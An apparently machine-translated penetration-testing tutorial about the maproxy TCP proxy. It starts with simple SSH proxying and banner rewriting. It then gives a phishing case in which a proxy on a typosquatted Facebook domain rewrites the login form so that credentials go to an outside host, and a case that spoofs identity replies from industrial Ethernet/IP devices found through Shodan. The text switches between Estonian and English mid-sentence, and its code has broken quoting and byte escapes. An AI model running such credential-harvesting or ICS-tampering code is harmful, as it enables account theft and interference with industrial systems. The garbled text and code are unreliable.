🥇Võrguandmete töötlemine reaalajas

Artikli tõlge on ettevalmistatud kursuse alguseks «PenTest. Praktika testimise käitumise».

Kokkuvõte

Mitmed turvalisuse hindamise meetodid, alates regulaarsetest sissetungitest kuni Red Team operatsioonideni ning IoT/ICS-seadmete ja SCADA häkkimisega, hõlmavad töötlust binaarsete võrguprotokollidega, mis tähendab, et signaalide häkkimine ja modifitseerimine toimub tegelikult andmete pealtkuulamise ja sihtmärgiga vahetamisel. Võrgu liikluse nuhkimine ei ole keeruline ülesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump või Scapy, kuid modifitseerimine näib olevat keerulisem ülesanne, kuna me peame looma eraldi liidese andmete lugemiseks, filtreerimiseks, reaalajas muutmiseks ja saatmiseks tagasi sihthostile, peaaegu reaalajas. Lisaks oleks ideaalne, kui selline tööriist suudaks automaatselt töötada mitmete paralleelsete ühendustega ja omada kohandamise võimalusi skriptide abil.

Ühel päeval avastasin tööriista, mida nimetatakse maproxy, dokumentatsioon andis mulle kiiresti mõista, et maproxy – just what I need. It's a fairly simple, versatile, and easily configurable TCP proxy. I tested this tool on several fairly complex applications, including ICS devices (which generate a lot of packets), to see if it could handle many parallel connections, and the tool performed well.

This article will introduce you to on-the-fly network data processing using maproxy.

Ülevaade

Tööriista maproxy based on Tornado – a popular and well-developed asynchronous networking framework in Python.

Overall, it can operate in several modes:

TCP:TCP – unencrypted TCP connections;
TCP:SSL ja SSL:TCP – with one-way encryption;
SSL:SSL – two-way encryption.

It comes as a library. For quick setup, you can use example files that reflect the basic features of the library:

all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py

Case 1 – Simple bidirectional proxy

Based on tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Vaikimisi ProxyServer() takes two arguments – the connection location and the target port. server.listen() takes one argument – the port to listen for incoming connections.

Running the script:

# python tcp2tcp.py

Testi läbiviimiseks plaanime ühenduda kohalikku SSH-serverisse läbi meie proksi skripti, mis kuulab 2222/tcp porti ning ühendub standardse portiga 22/tcp SSH-server:

Tere tulemast! Bänner teatab, et meie skript on edukalt proksinud võrguliiklust.

Juhtum 2 – andmete modifikatsioon

Teine demonstreeriv skript logging_proxy.py on ideaalne võrgandmetega töötamiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmärgi saavutamiseks modifitseerida:

Kõige huvitavam siin:

on_c2p_done_read – andmete püüdmine klientserveri teel;
on_p2s_done_read – vastupidises suunas.

Proovime muuta SSH-bännerit, mille server kliendile tagastab:

[…]
def on_p2s_done_read(self, data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession, self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost", 22)
server.listen(2222)
[…]

Käivitage skript:

Nagu näete, eksitati klient, kuna SSH-serveri nimi vahetati «DumnySSH».

Juhtum 3 – lihtne phishing veebileht

Selle tööriista kasutusvõimalusi on lõputult. Seekord keskendume millelegi praktilisemale Red Team'i operatsioonide valdkonnas. Proovime luua sarnase lehe m.facebook.com ja kasutame tahtlikult vale kirjutusega kohandatud domeeni, näiteks m.facebok.com. Demonstreerimise eesmärgil oletame lihtsalt, et domeen on meie poolt registreeritud.

Kavandame luua krüpteerimata võrguühenduse meie ohvriproxi ja Facebooki serveri SSL-voo vahel (31.13.81.36). Selle näite toimimiseks peame asendama HTTP-teenuse pealkirja ja sisestama õige hostinime, lisaks keelame vastuste kokkusurumise, et saada nende sisule lihtne juurdepääs. Lõpuks asendame HTML-vormi, et sisselogimisandmed saadetaks meile, mitte Facebooki serveritele:

[…]
def on_c2p_done_read(self,data):
 # asenda Host päis
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# keelata kompressioon
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
 # osaline vastuse asendamine
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Kokkuvõttes:

Nagu näete, oleme edukalt suutnud originaalsaiti asendada.

Juhtum 4 – Ethernet/IP modifitseerimine

Olen üsna kaua tegelenud tööstusseadmete ja tarkvaraga (ICS/SCADA), nagu programmeeritavad kontrollerid (PLC), sisend-väljund moodulid, mootori juhtseadmed, releed, redeliprogrammeerimise keskkonnad ja palju muud. See juhtum on mõeldud neile, kes armastavad tööstusteemasid. Selliste lahenduste häkkimine tähendab aktiivset mängimist võrgu protokollidega. Järgmises näites soovin näidata, kuidas sa saad ICS/SCADA võrgu liiklust modifitseerida.

Selleks vajate järgmist:

Võrguhöövel, näiteks Wireshark;
Ethernet/IP või lihtsalt SIP-seade, mida saab leida Shodan teenuse kaudu;
Meie skript põhineb maproxy.

Alustuseks vaatame, milline on tüüpiline identifitseerimisvastus CIP (Common Industrial Protocol) puhul:

Seadme identifitseerimine toimub Ethernet/IP protokolli abil, mis on Etherneti tööstuslikul otstarbel laiendatud versioon. See kapseldab juhtimisprotokolle nagu CIP. Me kavatseme muuta eraldiseisvat identifitseerimisnime, mida näete ekraanipildil. «NI-IndComm for Ethernet» meie proxy-skripti kaudu. Me võiksime skripti taaskasutada logging_proxy.py ja sarnaselt klassi meetodit modifitseerida on_p2s_done_read, kuna me soovime, et kliendil oleks nähtav erinev identifitseerimisnimi.

Kood:

[…]
def on_p2s_done_read(self,data):
 # vastuse osaline asendamine

 # Kontrollime, kas saime List Identity sõnumi vastuse
     if data[26:28] == b'x0cx00':
         print('Sain vastuse, asendamine')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Sisuliselt palusime seadme identifitseerimist kaks korda; teine vastus oli originaalne ja esimene oli kohapeal muudetud.

Ja viimane

Minu arvates maproxy mugav ja lihtne tööriist, mis on kirjutatud Pythonis, seega usun, et ka teie võite sellest kasutada. Muidugi on olemas ka keerukamaid tööriistu võrguandmete töötlemiseks ja muutmiseks, kuid need nõuavad rohkem tähelepanu ning on tavaliselt loodud konkreetseks kasutusstsenaariumiks, näiteks Muraena, Modlishka või evilginx kolmandate sarnaste juhtumite jaoks, või canape viimase juhtumi jaoks. Nii või teisiti, saate kasutada maproxy oma ideede kiireks teostamiseks võrguandmete pealtkuulamisel, kuna skripti näidised on väga selged.

Autentimismehhanismide testimine Windows AD-s

Allikas: habr.com